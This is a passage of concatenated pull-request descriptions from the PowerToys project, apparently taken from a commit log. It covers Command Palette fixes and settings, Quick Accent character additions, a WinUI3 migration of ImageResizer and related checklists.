pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Adds capitalization for ⁿ (U+207F Superscript Latin Small Letter N -> ᴺ
(U+1D3A Modifier Letter Capital N).
This technically isn't a Unicode case pair, however there isn't any
official capitalization for ⁿ and also where else would a user expect ᴺ
if not on Shift+N.
## PR Checklist
- [x] Closes: #26060
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** No need
- [x] **New binaries:** None
- [x] **Documentation updated:** No need
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manually tested
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This documentation enhances the DSC documentation by incorporating
reference documents and providing examples.
Closes#42552.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Migrate WPF/WinForms utility to WinUI3 can give us many benefit.
1. Only WinUI3 support AOT. By this change, we can remove the blocker to
make imageResizer publish with AOT enabled to improve the performance.
Through the previous testing in CmdPal, it can improve about 1.5x to 3x
perf.
2. WinUI 3 provides a modern UI and makes sure that our experiences fit
in with the Windows 11 look and feel.
3. We can merge many redundant code to the same one and reduce more
codebase and installed size in the future if we successfully migrate all
remaining WPF/WinForms utility to WinUI3.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46465
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. Set up the ImageResizer as the startup project.
2. Start in visual studio.
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This is a weird bug in WinUI where a child panel gets a weird offset
when wrapped in a `ScrollViewer` and if it has a `MaxWidth`. The
solution is to wrap it with another panel 🤷
Top: with fix
Bottom: 0.98.1
<img width="1351" height="1259" alt="image"
src="https://github.com/user-attachments/assets/076ac947-58d1-4031-8be3-300a8511a636"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46238
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
## Summary of the Pull Request
Adds a unit selection setting to the Performance Monitor extension in
Command Palette that allows users to choose how network transmission
speed is displayed. The setting offers three options: bits per second
(Kbps/Mbps/Gbps, the default), bytes per second (KB/s/MB/s/GB/s), and
binary bytes per second using IEC prefixes (KiB/s/MiB/s/GiB/s).
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The following files were changed:
- **`NetworkSpeedUnit.cs`** (new): Enum defining the three supported
unit modes — `BitsPerSecond`, `BytesPerSecond`, and
`BinaryBytesPerSecond`.
- **`SettingsManager.cs`** (new): A `JsonSettingsManager` subclass for
the Performance Monitor extension. Defines a `ChoiceSetSetting` for
`NetworkSpeedUnit` (default: `BitsPerSecond`), stored under the
`performanceMonitor` namespace in the shared CmdPal `settings.json`.
- **`PerformanceWidgetsPage.cs`**:
- `PerformanceWidgetsPage` constructor now accepts `SettingsManager` and
passes it to `SystemNetworkUsageWidgetPage`.
- `SystemNetworkUsageWidgetPage` stores the settings manager and calls
`SpeedToString()`, which dispatches via a switch expression to
`FormatAsBitsPerSecString()` (e.g. `12.5 Mbps`),
`FormatAsBytesPerSecString()` (e.g. `1.6 MB/s`), or
`FormatAsBinaryBytesPerSecString()` (e.g. `1.5 MiB/s`) based on the
selected unit.
- **`PerformanceMonitorCommandsProvider.cs`**: Holds the
`SettingsManager`, passes it to both the list page and dock band via
`SetEnabledState()`, exposes `Settings` on the provider, and adds the
settings page to the command's `MoreCommands`. The crash-recovery
hardening from main (`ProviderCrashSentinel`,
`TryReactivateImmediately`, `SetDisabledState`, thread-safe locking) is
fully preserved and integrated with the settings manager.
- **`Resources.resw`**: Updated `Network_Speed_Unit_Setting_Title` and
`Network_Speed_Unit_Setting_Description` to neutral language; added
three choice label strings (`Network_Speed_Unit_BitsPerSec`,
`Network_Speed_Unit_BytesPerSec`,
`Network_Speed_Unit_BinaryBytesPerSec`). Also includes the
disabled-state strings merged from main.
## Validation Steps Performed
- Manually verified that the setting appears in the Performance Monitor
extension's settings page (accessible via the ⋯ context menu on the
Performance Monitor command item).
- Verified that network speed values display in Kbps/Mbps/Gbps by
default, switch to KB/s/MB/s/GB/s when the bytes option is selected, and
switch to KiB/s/MiB/s/GiB/s when the binary bytes option is selected.
- Setting persists across Command Palette restarts via the shared CmdPal
settings file.
- Verified that the crash-recovery re-enable flow correctly restores
pages with the settings manager wired up.
<!-- START COPILOT ORIGINAL PROMPT -->
<details>
<summary>Original prompt</summary>
>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>[Command Palette] Allows network transmission speed units
to be switched between bits per second and bytes per
second</issue_title>
> <issue_description>### Description of the new feature / enhancement
>
> Add a setting that allows network monitoring in the Command Palette
Dock to be displayed in bytes per second.
>
> ### Scenario when this would be used?
>
> In everyday usage, byte units are more commonly used.
>
> ### Supporting information
>
> _No response_</issue_description>
>
> ## Comments on the Issue (you are @copilot in this section)
>
> <comments>
> <comment_new><author>@niels9001</author><body>
> @copilot Can you add a setting for this?</body></comment_new>
> </comments>
>
</details>
<!-- START COPILOT CODING AGENT SUFFIX -->
- Fixesmicrosoft/PowerToys#46271
<!-- START COPILOT CODING AGENT TIPS -->
---
✨ Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=✨+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
— coding agent works faster and does higher quality work when set up for
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---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds subscript and superscript characters to the "Special
Characters" set in Quick Accent. This addresses the request in issue
#41922, allowing users to easily type common mathematical notations
(e.g., x², H₂O) using the Quick Accent menu.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #41922
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
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- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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- [ ] **Documentation updated:** If checked, please file a pull request
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The following Unicode subscript and superscript variants were added to
[GetDefaultLetterKeySPECIAL](cci:1://file:///c:/Users/user/Desktop/salehcode/opensource/contribution/Linuxcontrib/PowerToys/src/modules/poweraccent/PowerAccent.Core/Languages.cs:185:8-236:9)
in
[Languages.cs](cci:7://file:///c:/Users/user/Desktop/salehcode/opensource/contribution/Linuxcontrib/PowerToys/src/modules/poweraccent/PowerAccent.Core/Languages.cs:0:0-0:0):
- **0**: ₀, ⁰, ⁾, ₎
- **9**: ₉, ⁹, ⁽, ₍
- **A**: ᵃ, ₐ
- **E**: ᵉ, ₑ
- **N**: ₙ
- **X**: ˣ, ₓ
- **Y**: ʸ
- **Z**: ᶻ
- **+**: ₌, ⁼ (equals signs)
- **-**: ₋, ⁻ (minus signs)
- *****: ˣ, ₓ (multiplication sign variants)
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Verified that the Unicode codepoints correspond to the correct subscript
and superscript glyphs. This change only modifies the static data list
used by Quick Accent and does not alter any logic.
---------
Co-authored-by: saleh <saleh@interlandtech.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR reverts focus restoration to the previously selected item in the
list on the Extensions page in the Settings window, as it
unintentionally caused the wrong item to open on click.
This reverts commit cb9d54317a.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46641
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR improves fetching of list items in ListViewModel:
- Fixes _vmCache concurrency with copy-on-write cache publication.
- Preserves latest-fetch-wins behavior across overlapping RPC GetItems()
calls.
- Prevents stale or canceled fetches from publishing and makes them
abort promptly.
- Improves cancellation cleanup for abandoned item view models and
replaced token sources.
- Updates empty-state tracking to follow overlapping fetch activity
correctly.
- Reduces hot-path cache overhead by removing per-item cache locking and
full cache rebuilds.
- Adds guard against re-entry, to prevent situations like #46329:
- Defers ItemsChanged-triggered fetches raised during GetItems() until
the call unwinds;
- Uses a thread-local reentry guard so unrelated cross-thread fetches
are not delayed;
- Adds a regression test covering recursive GetItems() refresh behavior.
- Make sure we never invoke FetchItems on UI thread, and be loud in
debug when we are.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46331
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
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signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR adds rule to .gitignore to exclude Claude AI local settings
files (settings.local.json under .claude directories) from version
control. This prevents accidental commits of local-only configuration.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR fix merge inconsistency caused by concurrent changes
(0b7d780980 and
a022a9f024).
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR updates Microsoft.CmdPal.Ext.PowerToys solution filter (slnf) to
include new dependencies.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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- [ ] **Documentation updated:** If checked, please file a pull request
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: vanzue <vanzue@outlook.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR makes Dock stay on top of all other windows:
- Marks the Dock window as topmost when there is no full-screen window.
- Adds a new option that allows the user to disable this behavior.
- Adds a timer that polls the system API to determine whether a
full-screen window is present.
## Pictures? Pictures!
<img width="560" height="283" alt="image"
src="https://github.com/user-attachments/assets/55346005-2fac-4357-88bd-60c899565fac"
/>
https://github.com/user-attachments/assets/b81bff6d-4616-4d17-a1b0-063d254022ed
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46161
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR improves fullscreen detection for the Command Palette activation
shortcut, adds a separate "busy state" guard, surfaces live notification
state diagnostics in Settings, and provides an opt-in rapid-press
breakthrough to bypass suppression.
The existing fullscreen guard lumped D3D fullscreen, presentation mode,
and the heuristic QUNS_BUSY state into a single check. This made it
impossible to opt into guarding against only true fullscreen while
ignoring false positives from apps like NVIDIA overlay. This PR splits
those concerns, adds diagnostic visibility, and gives users an escape
hatch.
The problem with the detection is that QUNS_RUNNING_D3D_FULL_SCREEN is
intended for exclusive D3D full-screen apps (some games), but it
overlaps with QUNS_BUSY for other games and apps.
- Splits the fullscreen guard into two separate settings
- IsWindowFullscreen() now only checks QUNS_RUNNING_D3D_FULL_SCREEN and
QUNS_PRESENTATION_MODE
- New IsAppBusy() handles the heuristic QUNS_BUSY state separately
- New IgnoreShortcutWhenBusy setting (off by default) so users aren't
silently blocked by false positives
- Migrates from hand-written P/Invoke (NativeMethods.cs, deleted) to
CsWin32-generated bindings
- Adds a live InfoBar in Activation settings when the shortcut is
limited
- Polls SHQueryUserNotificationState every 2 seconds via DispatcherTimer
- Displays a warning describing which state is active (D3D fullscreen,
presentation mode, or busy)
- New GetUserNotificationState() in WindowHelper exposes the raw state
for the UI
- Attributes QUNS_BUSY to known trigger apps
- New FindVisibleTriggerApps() enumerates windows by class name and
process name against a known-app list
- When NVIDIA Overlay (or other known apps) are detected, the InfoBar
message names the likely culprit
- Adds an opt-in rapid-press breakthrough to bypass suppression
- New AllowBreakthroughShortcut setting (off by default)
- Pressing the activation shortcut 3 times within 2 seconds overrides
the guard
- The suppression is automatically bypassed when the Command Palette is
visible - to allow dismissal
## Pictures? Pictures!
<img width="1112" height="769" alt="image"
src="https://github.com/user-attachments/assets/e1d64ace-cfb2-4ba1-a436-3d2d77c18c76"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45548
- [x] Closes: #41225
- [x] Closes: #42716
- [x] Closes: #45875
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
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## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR fixes a problem with invisible icons in newly create Command
Palette extensions, when created through built-in command:
- Avoids modifying binary files during extension creation from the
template to prevent corruption.
- Refactors template expansion and physical extension creation into a
separate ExtensionTemplateService.
- Adds unit tests.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46448
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
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<!-- Enter a brief description/summary of your PR here. What does it
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-->
## Summary of the Pull Request
This PR fixes an exception that prevents showing result for big items:
- Uses `BigInteger` and custom base converter for secondary results menu
items.
- Adds extra error handler to prevent exception when creating a
secondary menu item from showing the main result to the user.
- Adds some unit tests for the new base converter.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46167
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
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wherever possible, but list manual validation steps taken as well -->
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<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
See title
Regressed by: 4cb3359314
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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- [ ] **Dev docs:** Added/updated
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
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## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a keyboard accessibility issue in Command Palette where Tab
navigation would stop twice on container elements in the details panel
instead of navigating to details panel and then directly to interactive
controls. The items in the Details Panel aren't really interactable
anyways (the AllAppsPage & ClipBoard History just displays details)
This is part of the a11y bug batch.
User Impact:
Keyboard-only and assistive-technology users may experience confusion,
extra navigation effort, and reduced efficiency when interacting with
the Search Apps pane.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
https://github.com/user-attachments/assets/0d5f0f20-040c-4d22-b769-3fe318c66697
## Summary of the Pull Request
This PR fixes the "Close window" command in the Window Walker built-in
extension and makes it obey the "Keep open after closing window" option
in the extension's settings.
It also adds a message that forces Window Walker to refresh its list of
windows, so that the closed window disappears from the list (and
similarly for end task commands).
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #43256
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
